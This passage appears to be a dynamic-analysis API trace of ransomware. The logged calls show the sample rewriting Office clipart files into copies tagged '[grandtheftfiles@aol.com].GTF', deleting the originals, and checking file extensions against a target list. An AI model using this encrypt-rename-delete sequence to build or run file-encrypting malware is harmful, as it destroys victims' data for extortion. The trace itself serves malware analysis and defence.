	[0087.066] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.066] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.067] GetLastError () returned 0x0
	[0087.067] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x721c, lpOverlapped=0x0) returned 1
	[0087.068] WriteFile (in: hFile=0x35c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x7220, lpOverlapped=0x0) returned 1
	[0087.070] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.070] WriteFile (in: hFile=0x35c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.070] SetEndOfFile (hFile=0x35c) returned 1
	[0087.070] CloseHandle (hObject=0x35c) returned 1
	[0087.070] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.070] SetEndOfFile (hFile=0x378) returned 1
	[0087.071] CloseHandle (hObject=0x378) returned 1
	[0087.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1
	[0087.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.072] lstrlenW (lpString=".doc") returned 4
	[0087.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.072] lstrlenW (lpString=".docx") returned 5
	[0087.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.072] lstrlenW (lpString=".pdf") returned 4
	[0087.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.072] lstrlenW (lpString=".xls") returned 4
	[0087.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.072] lstrlenW (lpString=".xlsx") returned 5
	[0087.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.072] lstrlenW (lpString=".ppt") returned 4
	[0087.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.072] lstrlenW (lpString=".zip") returned 4
	[0087.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.072] lstrlenW (lpString=".rar") returned 4
	[0087.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.072] lstrlenW (lpString=".bz2") returned 4
	[0087.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.072] lstrlenW (lpString=".7z") returned 3
	[0087.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.073] lstrlenW (lpString=".dbf") returned 4
	[0087.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.073] lstrlenW (lpString=".1cd") returned 4
	[0087.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.073] lstrlenW (lpString=".jpg") returned 4
	[0087.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.073] lstrlenW (lpString=".doc") returned 4
	[0087.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.073] lstrlenW (lpString=".docx") returned 5
	[0087.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.073] lstrlenW (lpString=".pdf") returned 4
	[0087.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.073] lstrlenW (lpString=".xls") returned 4
	[0087.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.073] lstrlenW (lpString=".xlsx") returned 5
	[0087.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.073] lstrlenW (lpString=".ppt") returned 4
	[0087.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.073] lstrlenW (lpString=".zip") returned 4
	[0087.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.073] lstrlenW (lpString=".rar") returned 4
	[0087.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.073] lstrlenW (lpString=".bz2") returned 4
	[0087.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.073] lstrlenW (lpString=".7z") returned 3
	[0087.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.073] lstrlenW (lpString=".dbf") returned 4
	[0087.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.074] lstrlenW (lpString=".1cd") returned 4
	[0087.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0087.074] lstrlenW (lpString=".jpg") returned 4
	[0087.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.544] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.547] lstrlenW (lpString="FD00414_.WMF") returned 12
	[0087.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.553] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=11002) returned 1
	[0087.555] CloseHandle (hObject=0x384) returned 1
	[0087.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220
	[0087.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.563] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.570] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0087.571] GetLastError () returned 0x0
	[0087.571] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2afa, lpOverlapped=0x0) returned 1
	[0087.572] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2b00, lpOverlapped=0x0) returned 1
	[0087.573] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.573] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.574] SetEndOfFile (hFile=0x31c) returned 1
	[0087.574] CloseHandle (hObject=0x31c) returned 1
	[0087.574] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.574] SetEndOfFile (hFile=0x384) returned 1
	[0087.575] CloseHandle (hObject=0x384) returned 1
	[0087.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1
	[0087.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.575] lstrlenW (lpString=".doc") returned 4
	[0087.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.575] lstrlenW (lpString=".docx") returned 5
	[0087.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.575] lstrlenW (lpString=".pdf") returned 4
	[0087.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.575] lstrlenW (lpString=".xls") returned 4
	[0087.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.575] lstrlenW (lpString=".xlsx") returned 5
	[0087.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.575] lstrlenW (lpString=".ppt") returned 4
	[0087.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.576] lstrlenW (lpString=".zip") returned 4
	[0087.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.576] lstrlenW (lpString=".rar") returned 4
	[0087.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.576] lstrlenW (lpString=".bz2") returned 4
	[0087.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.576] lstrlenW (lpString=".7z") returned 3
	[0087.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.576] lstrlenW (lpString=".dbf") returned 4
	[0087.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.576] lstrlenW (lpString=".1cd") returned 4
	[0087.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.576] lstrlenW (lpString=".jpg") returned 4
	[0087.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.576] lstrlenW (lpString=".doc") returned 4
	[0087.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.576] lstrlenW (lpString=".docx") returned 5
	[0087.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.576] lstrlenW (lpString=".pdf") returned 4
	[0087.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.576] lstrlenW (lpString=".xls") returned 4
	[0087.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.576] lstrlenW (lpString=".xlsx") returned 5
	[0087.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.576] lstrlenW (lpString=".ppt") returned 4
	[0087.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.576] lstrlenW (lpString=".zip") returned 4
	[0087.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.577] lstrlenW (lpString=".rar") returned 4
	[0087.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.577] lstrlenW (lpString=".bz2") returned 4
	[0087.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.577] lstrlenW (lpString=".7z") returned 3
	[0087.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.577] lstrlenW (lpString=".dbf") returned 4
	[0087.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.577] lstrlenW (lpString=".1cd") returned 4
	[0087.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.577] lstrlenW (lpString=".jpg") returned 4
	[0087.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.577] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.577] lstrlenW (lpString="FD00455_.WMF") returned 12
	[0087.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.578] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=8926) returned 1
	[0087.578] CloseHandle (hObject=0x384) returned 1
	[0087.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220
	[0087.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.578] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.578] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0087.579] GetLastError () returned 0x0
	[0087.579] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x22de, lpOverlapped=0x0) returned 1
	[0087.580] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x22e0, lpOverlapped=0x0) returned 1
	[0087.581] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.581] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.581] SetEndOfFile (hFile=0x31c) returned 1
	[0087.581] CloseHandle (hObject=0x31c) returned 1
	[0087.582] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.582] SetEndOfFile (hFile=0x384) returned 1
	[0087.582] CloseHandle (hObject=0x384) returned 1
	[0087.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1
	[0087.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.583] lstrlenW (lpString=".doc") returned 4
	[0087.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.583] lstrlenW (lpString=".docx") returned 5
	[0087.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.583] lstrlenW (lpString=".pdf") returned 4
	[0087.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.583] lstrlenW (lpString=".xls") returned 4
	[0087.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.583] lstrlenW (lpString=".xlsx") returned 5
	[0087.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.583] lstrlenW (lpString=".ppt") returned 4
	[0087.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.583] lstrlenW (lpString=".zip") returned 4
	[0087.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.583] lstrlenW (lpString=".rar") returned 4
	[0087.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.583] lstrlenW (lpString=".bz2") returned 4
	[0087.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.583] lstrlenW (lpString=".7z") returned 3
	[0087.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.584] lstrlenW (lpString=".dbf") returned 4
	[0087.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.584] lstrlenW (lpString=".1cd") returned 4
	[0087.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.584] lstrlenW (lpString=".jpg") returned 4
	[0087.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.584] lstrlenW (lpString=".doc") returned 4
	[0087.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.584] lstrlenW (lpString=".docx") returned 5
	[0087.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.584] lstrlenW (lpString=".pdf") returned 4
	[0087.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.584] lstrlenW (lpString=".xls") returned 4
	[0087.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.584] lstrlenW (lpString=".xlsx") returned 5
	[0087.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.584] lstrlenW (lpString=".ppt") returned 4
	[0087.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.584] lstrlenW (lpString=".zip") returned 4
	[0087.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.584] lstrlenW (lpString=".rar") returned 4
	[0087.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.584] lstrlenW (lpString=".bz2") returned 4
	[0087.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.584] lstrlenW (lpString=".7z") returned 3
	[0087.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.584] lstrlenW (lpString=".dbf") returned 4
	[0087.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.585] lstrlenW (lpString=".1cd") returned 4
	[0087.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0087.585] lstrlenW (lpString=".jpg") returned 4
	[0087.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.585] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.585] lstrlenW (lpString="FD00459_.WMF") returned 12
	[0087.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.585] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=17406) returned 1
	[0087.585] CloseHandle (hObject=0x384) returned 1
	[0087.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220
	[0087.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
